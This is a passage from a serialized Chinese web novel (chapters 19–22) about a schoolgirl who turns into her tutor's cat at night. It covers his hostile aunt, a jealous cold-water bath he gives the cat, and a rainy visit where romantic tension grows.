心里盘算着该怎么脱离许屿的教学魔爪,但想起他不那么好的身世,以及没有收入的各种难处,又觉得于心不忍。
她外公外婆爷爷奶奶总是宠着沈初柠,又觉得她实在娇纵,无法无天。可又跟沈初柠她爸一样,忍不下心来教训。总幻想着以后找个能治住她的人来。
现在可还行?收她的人来了。
沈初柠于是乎属于卷又卷不动,摆又摆不了的状态。
只不过做人和许屿平平淡淡,当猫倒是和他亲亲我我。
难说。
也不知道是怎么的,之前沈初柠变猫的频率好歹是一周有个那么几天,最近倒成了每晚都这样。
说实话吧。沈初柠是有一点别扭的,整天整天对人爱答不理,晚上却要被迫(或许也带点心甘情愿?)缩在人家怀里,被撸得呼噜震天响。
这让她白天面对许屿时,总有种微妙的心虚感。
关键是穿成的这只猫还是只小色猫!每次沈初柠在它的身体里苏醒的时候,无一不在许屿的……脚下还是……
算了,它好意思躺,沈初柠都不好意思说。
19. chapter19
经过一段时间的补习,上课的老师都说沈初柠进步了不少。
经过一月一度的考试测试。
果然。
依旧,倒一……
603,985够不上,211倒是可以。
要知道这可比沈初柠上次高了几十分。
都说一分万人,反正沈初柠看江涛貌似挺满意,和颜悦色让她再接再厉,虽然是倒一。
就连考后的家长会里,江涛都尤其夸沈初柠这段时间进步最大,值得嘉奖,给特意飞回来开会的沈天都弄挺高兴。
毕竟以往两人都是额外挨训的那个。
沈天都问沈初柠要什么奖励。
他以为沈初柠会和之前要最新款的游戏机,虽然沈初柠的零花钱足够自己买。
但沈初柠只想:“能不能这周不补习?”
想了又想:“但补习费用还是要照样给。”
虽说家长会时身边做了个几乎全满分的许屿,但沈天都知足常乐,想着这段时间却是辛苦沈初柠,最后还是勉为其难答应了她要求。
家长会是周五开的。当晚就让秘书发了后两天补习费以及奖金给许屿,不过听说对方没收。
沈天都也只微微诧异,后面就将这事给忘了。日理万机,哪会专门记得这类人物。
沈初柠也由着难得周六日不用学习,和周曜秦宋他们开黑到凌晨,又熬了会夜看漫画,早上吃早餐的时候和陈姨如实相告自己的丰功伟绩,让她中午不要喊她吃饭了,然后晕着脑袋回卧室睡觉去。
也就睡了那么一两小时吧,一睁眼,沈初柠又回狸花猫的身上。
许屿捏着她的后脖颈,嘱咐:“在房间里不要乱跑出去,被赶出去了你就自生自灭。”
完全看不了他的一点爱心。
冷酷无情,未来丑恶资本家的初始模型!
“喵。”哼。
沈初柠撇过头不看他。
许屿只当她答应,随后放下她出了门。
许屿房间里着实是干净,意思是一点娱乐设施都没有,连身上带的手机都是沈初柠没见过的杂牌,貌似还用了挺久,她陈姨的手机都比他的这款看起来高端。
而且沈初柠又不是真的猫,那些猫玩具跟弱智小玩意一样。沈初柠扒拉两下就丢,回猫窝里重新睡大觉。
还别说,许屿对这猫还怪好,这几天又给它换了个新版猫窝,比之前的要大,材质也更好一点。
沈初柠看着这空荡荡的房间,以及未添一件的休闲服,“啧啧”地喵了几声,估摸着赚到的钱给他自己花的少,大部分全给了个这只猫。
不过这样想着,心里对他的恶意可没少几分,虽说猫窝住着舒服,但许屿这人洁癖,沈初柠曾多次被勒令没洗澡不许上他的床。
怎么可能听他?
偏要反着来,沈初柠一个大跳跃就钻进他的被子里。
直至被东西掉落进碗盘里的声音吵醒。
沈初柠知道那是许屿给她买的自动喂食器。但她又不爱吃猫粮,虽然现在有点饿。本来打算继续埋进被子里睡大觉。
忽的听房间的门此时被推开。
沈初柠:“?”
许屿回来地这么快。
岂不是要当场被抓包。
沈初柠一个激灵,睡意全无,几乎是连滚带爬地从被子里钻出来。猫爪在床单上打了个滑,差点摔下去。
却听门口人自言自语。
是李秀兰。
“许屿这月周六周日都不在家,满打满算最少也有个八天的钱。肯定藏屋里了……”
她边说边走向书桌,开始翻动许屿的书包和抽屉。
沈初柠倒不真担心李秀兰这能把许屿赚的钱给拿走。平时她爸都是直接转账给许屿的,许屿又不是傻,去银行兑成现金。
她现在只是担心李秀兰会发现她的存在。
毕竟许屿那句“被赶出去了你就自生自灭”声声在耳。
平时李秀兰不太进许屿屋里。这房间当初只是用来堆杂物的,窄□□仄又密不透光,待这就觉得心里闷得慌。
更何况平时她打扫屋子也不会帮忙打扫许屿那一块,就更加没有去的理由。
许屿大概也知道,所以并不担心沈初柠会被发现。
却不想李秀兰如此无耻。
李秀兰见桌面和抽屉都找不到钱。
本来屋里的陈设就不多,连个藏东西的柜子都没有,最后一个能放钱的也就一个床。
她二话不说,转过身,直接上手掀开了上面单薄的被子。
“啊——!!!”
尖叫骤然响起。
被子底下,那只通体狸花的小猫伏低前身,背脊高高弓起,浑身的毛发炸开,让它看起来仿佛大了一圈。
它琥珀色的瞳孔缩成一条危险的竖线,死死地盯着她,露出了尖利的牙齿,从喉咙深处发出威胁般的、低沉的威胁声。
李秀兰天不怕地不怕,偏偏最怕这种带毛的、会挠人的小畜生!
尤其是眼前这只,那凶狠的眼神,仿佛下一秒就要扑上来撕咬她。
她被吓得魂飞魄散,猛地向后踉跄了好几步,后背重重撞在桌角,疼得她倒抽一口冷气。
沈初柠本来就想吓吓她,谁知道被李秀兰猝不及防的尖叫声给吓了一跳。
还好她是个人,但凡变成一只真猫不得给吓应激了。
旁边房间里的许格致,正戴耳机打着游戏。
听了李秀兰的尖叫以为她遇见了什么事,开门出来看。
“妈,你怎么了?吵死了……”
他揉着耳朵,语气带着被打扰的不耐烦。
话还没说完,就看见他妈脸色煞白地靠在墙边,“有猫……许屿他竟敢在家里养猫!”
而在许屿的床上,一只狸花猫茫然地望着他。似乎也没搞清楚目前的状况。
许格致一看这阵仗,瞬间明白了七八分。
肯定是他妈又想进去“顺”点东西,结果被许屿养的猫给吓着了。他对自己妈的德行心知肚明,但总归是他妈,不好说些什么。
他朝猫走近。上次就粗略地打量了一下她,没看特别仔细,就被许屿像护宝一样地赶走,现在瞧着倒是养挺好,整只猫都胖了一圈,连毛色也顺滑了许多。
“妈,你搁人许屿房间做什么?”
李秀兰却不答,而是惊恐万状地指着那沈初柠,声音抖得不成样子:
“猫……猫!滚开!快让它滚开!赶紧把它弄死!”
虽然一开始就觉得李秀兰不是什么好人,但沈初柠真没想到她这么没下限。
李秀兰扭曲惊恐的脸和尖利的声音不像作假
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,沈初柠知道她现在不离开真的就完蛋。
她用脑袋撞开许格致,三两下就窜出许屿的房间。
只是客厅的窗帘紧闭着,大门也关得死死的,整个屋子像一个密不透风的囚笼。
她慌不择路,凭借着猫科动物的本能,趁他们没有反应过来,她看到一个狭小的缝隙就拼命往里钻。
她紧紧蜷缩在沙发最黑暗的角落里,尽量不让自己发出声音,只是急促的呼吸以及心跳在幽暗的环境下显得格外振聋发聩。
然而,这点隐蔽根本无济于事。
很快,沉重的沙发被猛地挪开,光线瞬间涌入,刺得她眯起了眼。
紧接着,一只属于少年的,骨节分明却带着不容反抗力道的手,精准地攥住了她的后颈皮,将她整只猫从沙发底下粗暴地拎了出来。
视野天旋地转。
在她被迫仰起的视角里,许格致那张俯视她的脸被放大,扭曲。
他背着光,五官笼罩在阴影里,嘴角似乎还带着一点冰冷的笑意,如同索命的修罗,无比狰狞可怕。
“抓住你了。”
我嘞个。
沈初柠手脚并用拼命地在空中乱抓挣扎。
——
许屿坐在“Free”网吧最安静的角落,屏幕上是密密麻麻的代码。
他手指快速敲击键盘,正在调试一个AI图像识别模型的参数。
这是他和网吧老板合作接的一个外包项目,deadline很紧,报酬也相当可观。
脚下,萨摩耶奶糖趴在他脚边,毛茸茸的大脑袋时不时蹭一下他的裤腿,发出满足的呼噜声。
网吧老板端着杯咖啡晃过来,瞥了眼屏幕上滚动的复杂字符,咂舌道:“你这脑子怎么长的?我这几天都被这个几乎折磨得不显人形。”
许屿头也没抬,只“嗯”了一声,视线依旧锁定在调试界面的数据流上。他手边放着一罐喝了一半的免费可乐,里面冰块早已融化。
奶糖似乎觉得被冷落了,用湿凉的鼻子顶了顶他垂在身侧的手,试图引起注意。
许屿敲下最后一行指令,运行测试,趁着程序加载的间隙,终于屈尊降贵地低下头,伸手揉了揉奶糖的脑袋。
萨摩耶立刻舒服地眯起眼,尾巴在地板上欢快地扫动。
“你这几天怎么没来?”
郁任拖了把椅子在他旁边坐下,顺手撸了把脚边萨摩耶的脑袋。
“在忙。”
“忙什么?”
许屿没接话,目光重新回到屏幕上。测试进度条缓慢爬升,映在他沉静的眼底。
郁任对他这爱答不理的模样早就习以为常。“话说之前你们教导主任来网吧里抓人,怎么没在犯人里头见着你?”
许屿点击鼠标的手指几不可察地顿了一下。屏幕上代码滚动,映着他没什么表情的脸。
“被人救了。”他声音平淡,听不出情绪。
“呦。”郁任一下子来了兴致,拖长语调,带着点戏谑,“还有同党?没想着你人缘还挺好?”
许屿的视线依旧停留在屏幕上,但代码滚动的速度明显慢了下来。他抿了抿唇,似乎不打算再开口。
郁任却不依不饶,“我记着当时好像还有个小姑娘,当时被逮住的人里,她不在。该不会就是她?你俩……”
20. chapter20
暮色四合,老旧的居民楼被笼罩在一片沉郁的深黑。楼道里的声控灯坏了许久,只有邻居窗户透进一点微弱的灯光,才勉强看清路。
许屿刚走到单元门口,就碰见了拎着垃圾袋下来的邻居刘奶奶。
“小屿今天怎么这么晚回来?”
“在外面弄点东西。”
“吃过晚饭没有?”
“吃过了,刘奶奶。”
刘奶奶点点头,把手里的垃圾袋放下,又从衣服兜里掏出一堆猪肉脯和两袋独立包装的面包。和以前一样,硬塞到许屿手里:“拿着,年轻人晚上容易饿。”
她又小声音道,“早上我听着你家里头鸡飞狗跳的,动静不小,估摸着又……唉。”
她没把话说完,但意已尽。大概又是李秀兰作出什么幺蛾子,多数猜测是和许格致吵了架。不过按照以往的经历来说,之后许屿大概不会好过,因为溺爱儿子的她只会把气撒在他身上。
许屿低声道了谢。
本是习以为常,却在上楼之际,他莫名感觉胸闷。
在门外角落的垃圾袋旁,胡乱堆着他给小猫买的猫窝,食盆,水碗,还有那几个被啃得有些秃噜皮的毛线玩具。东西一样没少,像垃圾一样被丢弃在外。
门内传来李秀兰骂骂咧咧的声音,关键词隐隐约约飘出来:“……死猫……晦气……”
许屿的脸色瞬间沉了下来,他没有去碰那堆被丢弃的东西,直接用钥匙打开门。
听见声音。李秀兰的视线立马朝他这边扫来,双手叉腰,怒气更盛:“你还知道回来?!谁让你在屋里养那种脏东西的?!赶紧把这些破烂给我扔远点!看着就碍眼!”
许屿没管她的尖叫,径直穿过客厅,走向里头的房间。
屋内没太大的变化,不过就是衣服书本以及被子被翻乱。
他弯下腰,迅速检查床底、桌下、柜子缝隙……所有可能藏身的角落。
空的。
哪里都没有。
“花花?”他压低声音唤了一声。
没有任何回应。
李秀兰跟到房间门口,还在不依不饶:“找什么找!我告诉你许屿,你要是敢乱再捡东西回来,连你一起滚蛋!”
许屿缓缓直起身。屋内的光线勾勒出他僵直的背影,周围的空气仿佛都因他身上散发出的低气压而凝固。
他转过身,看向门外的李秀兰。
那双总是平静无波的眸子里,此刻翻涌着冰冷的怒意。他一字一顿,声音不大,却带着骇人的寒:
“你、把、它、扔、哪、了?”
李秀兰被他问得一愣。
她从未见过许屿这种模样,张了张嘴,想继续用往常的泼辣架势压回去,可对上许屿那双黑得吓人的眼睛,到嘴边的咒骂竟卡在了喉咙里。
李秀兰下意识后退了半步,后背莫名发凉。扶着门框的手也不自觉地收紧。她几乎是本能地抬手指向了许格致的房间方向。
许屿没再看她,转身大步朝着那个方向走去。
屋内隔音一般,只是到门口就听见里面许格致的怒骂声。
许屿猛地拧动门把手,门是锁着的。他也没什么心情再让开口让许格致开门,后退半步,抬脚直接踹在了门锁附近。
门已年久,这房子是二手,原主人留下了很多家具,李秀兰当初买下的时候也没扔留到现在。
一声闷响,把房里一人一猫吓了一跳。
听到破门的动静,许格致目光从手机里的战况移向远方。而沈初柠和他一样,也同时抬起头望向门口。
在看清是许屿之后,这一人一猫又极其同步地、若无其事地低下了头。
许格致甚至还能分心,头也不回地抱怨了一句:“许屿?大晚上发什么神经。”
而沈初柠更是伸出爪子,摁着许格致的左侧屏幕,琥珀色的猫眼里满是专注,喉咙里发出焦急的喵言喵语,尾巴甩他脸上。
笨蛋!左边!左边那个残血!一个大闪再加一套小连招就能追上,直接平a就能ko,快上啊!
好在许格致没她想的那么笨,果然按照她所想的拿了一血。
“你还怪聪明的。”
“喵。”哼。小case。
沈初柠骄傲地扬着头。
因为许格致是在床上玩游戏的,以至于同样趴床上的沈初柠倒像是在他怀里。
而此情此景,许屿倒像是莫名而来的第三人,插足了他们的主仆情深。
他站在门口,看着那只本该只属于他的猫,此刻却温顺地待在另一个人的身边。
许格致一边操作,一边顺手挠了挠小猫的下巴,而它居然也没有躲闪。
一种被侵犯领地的强烈不悦,混杂着先前担忧落空的荒谬感,像藤蔓一样瞬间缠紧了他的心脏。
比愤怒更沉,比寒意更刺骨。
许屿的目光死死锁在那只蜷缩的身影,周身的气压低得骇人。他向前一步,声音冷得能掉出冰碴:
“过来。”
喊谁?
总不能喊她吧?
沈初柠心虚地朝许屿瞧了眼。
难得这里有点她喜欢的娱乐活动,她才不想回他那无聊又枯燥的地方去。
她假装没听懂,脑袋跟个鹌鹑一样一缩,蹭了蹭许格致的手臂,试图让这个临时饭票保住自己。
反正她现在只是只猫,听不懂人话很正常。
许格致正打到关键处,在草丛里蹲了会,又拿了个人头,今天这游戏打得特顺,和沈初柠道:“你也别跟那许屿了,以后跟我混呗,保你吃香喝辣……”
话音未落,沈初柠整只猫就被一冰凉的手拽了出去。
“许屿,你干嘛?”许格致放下手机。
许屿充耳不闻,脸色阴沉得可怕,提着挣扎的沈初柠,大步走向卫生间。
沈初柠被他突如起来的暴戾弄得有些懵,只感觉天旋地转。
没反应过来就被扔进了卫生间的洗手池。刺骨的冷水便从头顶的龙头倾泻而下,一瞬间浇透了她全身的毛发。
冰冷像无数根细针扎进皮肤,冻得她浑身剧烈地颤抖起来。厚厚的毛发吸饱了冷水,变得沉重无比,紧紧贴在身上,寒意直往骨头缝里钻。
她拼命想爬出水池,爪子在不光滑的池壁上徒劳地抓挠,却一次次滑倒。
好不容易爬出水池又被许屿摁了回去。
“真
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脏。”
他攥着她湿漉漉的身体,任由冷水打在她身上。面无表情地清理,手指拨开她黏在一起的毛发,让冷水冲刷得更彻底。
沈初柠被冻得几乎失去知觉。
她简直觉得他有病。
莫名其妙。
有病就去治!
卫生间被反锁,许格致在门外拍打门板。
“许屿!你干什么呢!开门!”
“你他妈有病啊刚刚。”
“你再不开门我踹门了?!”
听见声音的李秀兰也从方才中回过神来。走卫生见门口,怨骂声喋喋不休,很是嘈杂。
许屿对外面的叫嚷充耳不闻。重新给沈初柠抹上泡沫之后,再一次将她摁回冰冷的水流中冲洗干净。
既是猫对水本能地抗拒,又是低温刺骨的程度,再加上沈初柠这段时间对许屿真的超级不爽,她怒而抬头,狠狠咬在了他禁锢着她的手腕上。
本以为他会松手,处理伤口。
但他仿佛感觉不到疼痛,就那样任由沈初柠尖利的牙齿深深陷进他腕间的皮肉。
鲜红的血珠迅速从伤口涌出,与他腕上残留的白色泡沫混合在一起,又被冰冷的水流冲开,在池底晕染出淡粉色的痕迹。
许屿并任何反应。
他继续之前的动作,仿佛不将她身上所有不属于他的气息彻底洗净,就绝不会罢休。
沈初柠被他近乎麻木的反应给吓住了,牙齿不自觉地松开,只留下一个清晰的齿痕印在他冷白的手腕上。
不知道过了多久,水流才停歇。
沈初柠整只猫都被冻得脑袋懵懵。觉得之后不生个几千块钱的大病都对不起她自己。
门外的许格致听着里面猫的凄厉叫声逐渐变得微弱,最后只剩下断断续续的呜咽。
他一直觉得许屿这人性格阴郁,脑子也不太正常,是个变态的未成熟体。
许格致自认不是什么好人,打架逃课的事没少干,但虐待小动物这种事,真的触及了他的底线,完全违背了他的三观。
“操。”他低骂一声,再也忍不住,后退一步,抬起脚就准备狠狠踹向那扇碍事的门。
就在他的脚即将碰到门板的瞬间,门从里面被打开。
许屿面无表情地站在门口,他浑身湿透,额前的黑发也还在滴水,水珠顺着他冷峻的侧脸滑落。
他怀里裹着毛巾,只露出小狸花半个湿漉漉脑袋。小猫在他怀里一动不动,只有极其微弱的呼吸起伏。
而许屿垂在身侧的那只手腕上,一个新鲜的血色牙印赫然在目,皮肉外翻,还在隐隐渗着血。
“许屿,你……”
“滚。”
他的目光冷冷地扫过他,那眼神让许格致后面的话卡在了喉咙里。
许屿抱着猫,绕过堵在门口的许格致,径直走回对面的小房间。
许格致真没想到许屿对他是这个态度。
以往只有他朝许屿发脾气的份。
他站在原地愣了几秒,最后烦躁地抓了把头发,低声骂了句:“操,这都什么事儿。”
——
晚上等许雷下班回来,李秀兰才算真的闹翻天。
21. chapter21
其实最初李秀兰对许屿也还算不错。
虽然算不上什么掏心掏肺,但基本的吃穿用度都没短过他,偶尔家里改善伙食也会给他留上一碗。
许屿刚来时沉默寡言,她会念叨几句“男孩子要开朗些”,见他衣服破了也会顺手缝上两针。
是什么时候变得呢?
大概是从许屿的成绩越来越出色,而许格致的成绩始终不上不下开始。亲戚邻居的夸赞都落在了这个“外人”身上,自己儿子的平庸就显得格外刺眼。
是许奶奶临终前特意立了遗嘱把房子留给许屿,而不是给一直掏心掏肺照顾她的大房。
虽然那只是一个位置偏僻又破烂的小型仓库房,整个屋子不足20平米,狭窄闭塞。但李秀兰自此心里就不得劲。
许屿他妈爸在世时,许奶奶就偏心小的。现在就他们一个指望,还偏心许屿。
善意就这样在日复一日的计较和比较中,慢慢消磨成了芥蒂。最初的那点温情,早就像墙上的旧海报,褪色剥落,只剩下面目模糊的痕迹。
直到有一次,在小学时,许屿提前放学回去,撞破李秀兰偷偷给许格致昂贵的进口巧克力,嘴里还念叨着“藏好,别给你堂哥撞见”。
四目相对的瞬间,李秀兰脸上的慌乱只停留了一秒,随即就变成了破罐子破摔的坦然。
从那以后,她连表面功夫都懒得做了。
等许屿上了高一,李秀兰就以他高中生活节奏不规律容易影响到他们休息为由,说许屿现在也大了,让他干脆搬到西区那个奶奶留下的老房子里一个人去住。
那房子年久失修,墙皮剥落,冬冷夏热。许屿在那里住了一年多,还算适应。
高二时李秀兰又突然打电话给他。时隔多日再一次问候,先是假意关心问许屿在那过得怎么样,最后才图穷匕见,以他堂弟许格致要中考为由,让许屿搬回来住。
“你成绩好,多辅导辅导格致。”哪怕是请求,电话那头的声音也不见任何善意,“他要是考不上高中可怎么办?你做哥哥的总不能看着弟弟没书读吧?”
——
李秀兰在客厅大骂许屿奶奶。
这个老不死的在世时就偏心偏到胳肢窝去了,他们大房伺候她吃穿这么多年,她倒好,临了把房子偷偷塞给那个小的!偏心眼,同样是她孙子,也没见给许格致留个一钱半子。
连带着刚回来的许雷也避免被波及。
李秀兰骂他窝囊废,当年要不是他接许屿这个烫手山芋,现在哪来的这种多事!他们老许家没一个好东西!老的偏心,小的白眼狼,中间还有个不中用的!
俨然忘了如若不是当初有许屿父母的抚恤金,他们也买不了这儿的房子。
而许雷又是个懦弱性子,被妻子指着鼻子骂,也只是涨红了脸,嘴唇嗫嚅了几下,并不吭声。
李秀兰声音大,很自然地就传到沈初柠的耳边。
沈初柠从小就是被家里人娇宠大的,哪怕身边的朋友也会因她年纪小而主动让着她一些,从来都没有听过这样尖锐的指责。
这些天所有听过的怨毒咒骂全部来自李秀兰,而所指对象也全部对向许屿。
她被裹在毛巾里,没忍住抬起湿漉的脑袋,望向许屿。
而对方像是完全没听见。垂着眼,用干燥的毛巾一遍遍给她擦拭身体,从耳朵尖到尾巴尖,动作没有一丝停顿或僵硬,全程只有一片死水般的平静。
直到沈初柠身体不再滴水,许屿才停下手上的动作。
他将毛巾放在一边,起身,径直走向门外。
完全无视了李秀兰那几乎要喷火的目光,穿过客厅,从刚才丢弃在门外的杂物堆里,拎出了那个几乎全新的宠物烘干箱,转身往房间里走。
李秀兰见他这副油盐不进,甚至还敢把垃圾又捡回来。顿时气得胸口剧烈起伏。
她猛地推了一把旁边沉默的许雷,尖声道:“你看看!你看看他!现在都敢在家里养这些脏东西了!真是无法无天!许雷你还不快让他把那畜生给我扔出去!”
许雷就是个传统意义上无能的性格,让他这跟谁对着干是真的做不到。他在沙发上驼着背抽烟。
李秀兰见他依旧不吭声,更是火冒三丈,直接冲到许屿房门口,猛得推开门,手指着他。
“许屿!我告诉你,赶紧把这猫扔掉!不然你别想在这个家待!”
隔壁许格致终于是受不了这长时间的噪音,他推开门,“妈,能不能别吵了,我在做题呢。”
以往李秀兰听见这话,势必是要闭嘴。但她现在看他们一个个的都不顺眼,“我吵?要不是你我现在能受这委屈?你爸没用,你也不是个好的……”
许格致从小到大就没被他妈发过火,这还是第一次,怪怵的,索性矛头也不是指向他,就又关了门索性当没听见。
李秀兰依旧在门外喋喋不休。而许屿则是脚步未停,仿佛是没听见。他将烘干箱插上电源,调试温度和风速。再把裹在毛巾里的小狸花轻轻放进去,关好门。
直到烘干箱运作的声音低低地响起。
他才回桌上收拾自己的东西。东西不多,就几件衣服和一些书。
别看李秀兰现在骂的凶,但真让许屿走她是不愿的。至少现在不行。
许格致的中考近在眼前,成绩还一塌糊涂,全指望着许屿补习。起码有许屿在的这段时间,许格致成绩是真提升了不少。何况外面补习费那么贵,一小时好几百。
见李秀兰突然消停,眼神闪烁。许雷这时候来当和事佬了,毕竟已经关乎自己儿子的事。
一顿好说歹说,最后才算消停。
——
周一的时候许屿没来学校。
沈初柠看旁边空着的座位,总感觉心里怪怪的,毕竟往常都有一大堆额外背诵和习题等着她,轻松的令人不自在。
紧接着她又觉得自己是受虐狂。
难得可以不写作业。
下午江涛上课的时候,随口说了句许屿请了病假,沈初柠下意识小声“啊?”了下。
她不出声还好,一说话声音在教室内就显得格外清楚,尤其她还在前排。
江涛手中的的卷子卷成筒状,敲敲她的桌子,“晚上把这几天作业和竞赛卷给许屿带过去。”
沈初柠最近和许屿绝交了。她才不干:“为什么?”
“上次不还问酆桥他家的住址,班里就你知道在哪。”
沈初柠倒不知道班长竟然是个大嘴巴,这种小事都给江涛知道了。
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她悄咪咪往后面看,酆桥移动他的视线看窗外的风景。
由着要给许屿送作业,晚上放学沈初柠就没和虞灿他们出去逛,而是让司机提前来。
宜城算发展挺好的一个城市,但就像光鲜的绸缎也难免有抽丝的边角,高楼大厦的阴影里依然藏着破旧的陋巷。
老旧居民区地面颠簸,楼楼层层之间的距离也小,车子在里面基本寸步难行。沈初柠让司机停门口,她一个人进去。
虽说作为猫,在这住了一段时间,但沈初柠根本就对这完全不熟悉。哪怕由着确切精准的地址,但谁能想楼顶上标注的门牌号早就被岁月腐蚀,锈迹斑斑,根本看不清上面的数字。
没法,沈初柠走了一段路,看前边有个住这的老太太正朝外走了过来,就过去试探性问路。
总归是死马当活马医。
刘奶奶正出去买酱油,就瞧着个穿着校服、乖乖巧巧眼睛挺大的小姑娘朝她走过来,手里还提着个印着校徽的资料袋。
这打扮一看就不是这片的孩子。
“小姑娘,找谁家啊?迷路了?”刘奶奶主动开口,语气和蔼。
沈初柠像看见了个救星,报了个地址,问刘奶奶知不知道怎么走。
刘奶奶反应了会,意识到是李秀兰家。看沈初柠身上这南华校徽的,她意识到可能是来找许屿的。
“你是小屿的同学是吧?”
沈初柠愣了一下,才想到刘奶奶说的“小屿”就是“许屿”,她点点头,“他今天生病请假,老师让我给他送作业来的。”
“好好好。好孩子。”刘奶奶给沈初柠指了路,顺道关心,“小屿在学校怎么样?和同学们关系处得好吗?”
对这沈初柠可就有话说了,她告状:“脾气可差啦。”
见刘奶奶露出惊讶的表情,沈初柠第一次这么有眼力见地意识到,可能许屿在老人家面前端的是表里不一。就忍不住给他找补,“但老师同学还挺喜欢他的……”
刘奶奶听着便笑了,眼角的皱纹舒展开。
也许是沈初柠从小自带的对老人家的天生亲和力,或者又因为其他,刘奶奶对她的话也就多了些。
她谈及许屿父母早逝的不幸,这些年来叔叔婶婶对他的种种苛待。
其实当猫的时候,沈初柠就零碎听过一些。如今将这些片段串联起来,一个属于许屿的身世就在她脑海中完整地浮现出来。
沈初柠向来是一个共情能力很强的人,看一些不是特别伤感be片都会掉眼泪。也有一套自己的英雄主义,就像小时候看见周曜被欺负,就帮他把人给打回去。
对比起来,其实许屿上次那样子对她其实也不算特别特别过分?
刘奶奶最后叹到许屿其实并不容易之后,就离去买酱油,聊这么长时间,家里的排骨都快炖烂了。
沈初柠边按照她指的路走,边思考着到底呀不要原谅许屿的所作所为。毕竟无论是对人还是对猫,他真的很差劲,况且受害者还都只有一个沈初柠。
尤其是想起前天晚上许屿那个眼神……
沈初柠真的可耻地心软了。
但现实告诉她,心疼男人就会倒霉。
猝不及防的,天降大水。
沈初柠被淋了个透心凉。
22. chapter22
雨下的突如其来且迅速,一瞬间的事,就从天上降落,还是大雨,把沈初柠淋了个透湿,她都还没来得及反应去找个地方躲着。
沈初柠:???
但事已至此。
沈初柠只好先找到许屿婶婶家的位置,然后把资料袋给他。
按照之前班长说的门牌号,沈初柠七绕八拐可算找着。
敲了门。
是许屿开的。
见到她,对方似是有点吃惊。不过万年冰山脸,也就从眼神中透露一点点出来,且很快一闪而过。
沈初柠当然记得自己正在和他冷战。尤其是千万被他摁在被冷水冲刷那么久当时她想得就是等周一回学校,给许屿尝尝她小时候练的跆拳道的厉害。
不过乍然见到本尊,那股无名火就消失的无影无踪,连沈初柠她自己都不明白怎么会如此迅速。
太没出息了,沈初柠。
她心里这样想着,没忍住打了个喷嚏。
许屿见她身上滴着水,沉默片刻,“有什么事?”
楼梯上是灌堂风,吹在湿透的身上,那冷意绝对是一步步地叠加。
沈初柠看上去极可怜地喊了声许屿的名字。
有时候撒娇的确需要天赋异禀。饶是像许屿这样冷心冷情的,倒也不由动了恻隐之心。他看了一直往上吹的冷风,以及冻得有些瑟瑟发抖的沈初柠,开口:“进来吗?”
“可以吗?”沈初柠没想到他还有这么人性化的一面。
许屿没理她,开着门,直接转身。
沈初柠跟在他后面亦步亦趋。
这地方作为猫的她已经看过不知道多少次,倒也是轻车熟路。
十一月,宜城已经开始大降温。湿哒哒的衣服黏在身上是有些冷的。
在许屿眼中,沈初柠就是没吃过什么苦的小公主。受冻之类的词汇并不应该在她身上出现。
或许又带着点本性的恶劣,他问她要不要先去洗澡,不过他这边没她的衣服,暂时只能穿他的。
小公主天真得可以,没什么犹豫的说:“好啊,谢谢你呀”。
许屿:“……”
毫无防备地让他感觉,倘若是把她卖了,她都要主动帮他数钱。
这儿的浴室比不上沈初柠家的大,淋浴系统也是最普通的类型。
许屿先将温度调试到合适,毕竟一开始可能性的高温也许会灼伤沈初柠的皮肤,小公主不禁烫。
后面水温正常,他才将整个浴室让了出来。
而后他就去找了能让沈初柠换的衣服。
许屿也是第一次发现原来他的衣服这么少。而且质量偏差,基本都是地摊上二三十块钱一件。他下意识想到这种粗麻制品,磨在沈初柠细皮嫩肉的身上估计会疼。
最后还是拿了件某牌子的衬衫。上次和郁任去见某公司老总,郁任订制的,质量还不错。配不上沈初柠,但起码能穿。
他将未拆封过得毛巾浴巾以及衣物放门口,敲了磨砂玻璃以示提醒。
只是随便冲洗,浴室门很快就被拉开。
沈初柠裹在他的衬衫里,下摆长得快要盖住膝盖。过宽的领口滑向一侧,露出纤细的锁骨。
她努力卷着过长的袖子,抬头对他露出一个不好意思的笑:
“好像有点大……”
许屿移开视线。绕过沈初柠直接去了浴室清理。
沈初柠早就习惯他的冷淡,对此也没什么感觉。说实话,许屿能让她进来就很让她吃惊了,毕竟她原来想的是送完资料,他就让她滚的,就是这么冷血无情。
洗手池桌上摆了吹风机,沈初柠猜到应该是许屿放这的。
她头发滴着水,用毛巾擦过一遍后就打算用吹风机吹干,只不过刚打开就被扑面而来的热气灼伤,突如其来的痛意让她手上的力道不由一松。
许屿挤压沐浴露,让其香气盖住浴室的青柠味。
忽的便听旁边硬物砸在地面的声响,他侧眸,自觉犯错的沈初柠也下意识看他,睁着湿漉漉的眼睛,全身上下透着股心虚。
他蓦地发觉,这模样与他养的猫着实相似。
“对不起,我……”
许屿的目光在她脸上停顿一瞬,继而弯腰将东西拾起。
“跟我来。”
卫生间狭窄而拥挤,根本没有多余地方容得了两个人站在一处。
沈初柠跟着许屿去他住处。
前天被李秀兰扔在外面的猫猫用具被捡了回来放置原处,不过有些应该坏了,沈初柠没再见到。
她扫视了房间一圈,不由问道:“咦?猫呢?”
许屿淡淡看她一眼,“感冒住院了。”
情理之中,就上次那冰水泡澡,要是猫没生病,沈初柠都得夸它体质特好。
“过来。”
“哦……”
沈初柠坐床上。
许屿站在她身后,打开吹风机,调节好温度后才往她头发上吹。
温热的风穿过她的发丝,他的手指偶尔会碰到她的耳后,动作有些生涩,但异常轻柔。
是俯视。
这个视角让许屿看见,宽大的衬衫下摆因为沈初柠坐下的动作又往上缩了一截,露出白皙的腿。
她是真的完全不设防。他想。
他回忆起很小的时候,父母在世时,隔壁家女孩总是爱买洋娃娃。
那些精致的玩偶穿着华丽的裙子,被小心翼翼地摆在玻璃柜里,连碰都不让别的孩子碰。她说,那是她的。
而此刻在他眼前的这个,比那些橱窗里的娃娃还要精致可爱,却毫无戒备地坐在他触手可及的地方,穿着他的衣服,任由他的手指穿过她的发间,为所欲为。
吹风机嗡嗡作响,他的指尖不经意触到她后颈细腻的皮肤。沈初柠轻轻颤了一下,但没有躲开。
许屿垂下眼帘,继续着手上的动作。
沈初柠低头随便联系了个某店里的柜姐,转了钱,让她拿一套衣服送过来。报了地址,不过估计也不知道怎么走。
她将手机递给许屿看了聊天记录,
“许屿你等下可以去门口找她吗?”
许屿淡淡扫了眼上面的内容,“嗯”了声。
大抵是许屿今天对她还算不错,沈初柠的话也就多了起来。
“许屿,你感冒了嘛?老班说你请了几天假。”
“没。”
他本来只打算否认,但想了想又补充:“猫病了。”
沈初柠知道这事,受害者还是她本人。
“老班让我把几套卷子都拿过来,不过我刚刚护的很仔细,应该没有被淋湿。”
“嗯。”
